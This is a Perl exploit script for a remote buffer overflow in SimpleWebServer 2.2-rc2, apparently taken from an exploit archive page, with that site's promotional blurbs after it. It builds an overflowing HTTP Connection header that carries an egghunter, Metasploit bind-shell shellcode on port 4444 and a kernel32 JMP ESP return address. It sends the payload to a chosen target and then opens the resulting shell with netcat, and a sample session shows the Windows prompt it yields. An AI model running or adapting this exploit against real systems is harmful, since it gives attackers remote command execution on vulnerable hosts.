`use IO::Socket;
##############################################################################
# Exploit Title: SimpleWebServer 2.2-rc2 - Remote Buffer Overflow Exploit
# Date: 19/07/2012
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/
# Software Link: http://www.pmx.it/download/sws-2.2-rc2-i686.exe
# Version: 2.2 rc2
# Tested on: Windows XP SP3
##############################################################################
# root@bt:~/Desktop# perl sws2_2-rc2_poc.pl 192.168.178.43 80
# +---------------------------------------------------------------+
# | Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit |
# | mr.pr0n - http://ghostinthelab.wordpress.com |
# +---------------------------------------------------------------+
#
# [+] Sending buffer (2104 bytes) to: 192.168.178.43:80
# [+] Exploitation Done!
# [+] Please, wait couple of sec ...
# [+] Got shell?
#
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\PMSoftware\sws>
##############################################################################
print "+---------------------------------------------------------------+ \n";
print "| Simple Web Server 2.2 rc2 - Remote Buffer Overflow Exploit | \n";
print "| mr.pr0n - http://ghostinthelab.wordpress.com | \n";
print "+---------------------------------------------------------------+ \n";
if (@ARGV != 2)
{
print "\n[-] Usage: $0 <target ip> <port> \n\n";
exit();
}
$target = $ARGV[0]; # Target IP
$port = $ARGV[1]; # Target port
# The egghunter.
$egghunter =
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02".
"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"w00t". # The 4 byte tag!
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
# MSF windows/shell_bind_tcp LPORT=4444
$shellcode =
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e".
"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30".
"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7".
"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e".
"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01".
"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b".
"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9".
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0".
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b".
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab".
"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9".
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e".
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e".
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2".
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07".
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11".
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8".
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d".
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce".
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd".
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5".
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29".
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62".
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c".
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39".
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9".
"\x29\x6b\x60\x28\x23";
$junk = "\x41" x (2048 - length("w00tw00t") - length($shellcode));
$ret = pack('V',0x7C874413); # JMP ESP - kernel32.dll
$nops = "\x90" x 20; # 20 nops.
$exploit = $junk."w00tw00t".$shellcode.$ret.$nops.$egghunter;
if ($socket = IO::Socket::INET->new
(PeerAddr => $target,
PeerPort => $port,
Proto => "TCP"))
{
$header =
"GET / HTTP/1.1\r\n".
"Host: ".$target." \r\n".
"Connection:".$exploit."\r\n";
print "\n[+] Sending buffer (".(length($exploit))." bytes) to: $target:$port \n";
print $socket $header."\r\n";
sleep(1);
close($socket);
print "[+] Exploitation Done!\n";
print "[+] Please, wait couple of sec ...\n";
sleep(15);
print "[+] Got shell?\n\n";
$command = "nc $target 4444";
system ($command);
}
else
{
print "[-] Connection to $target failed!\n";
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation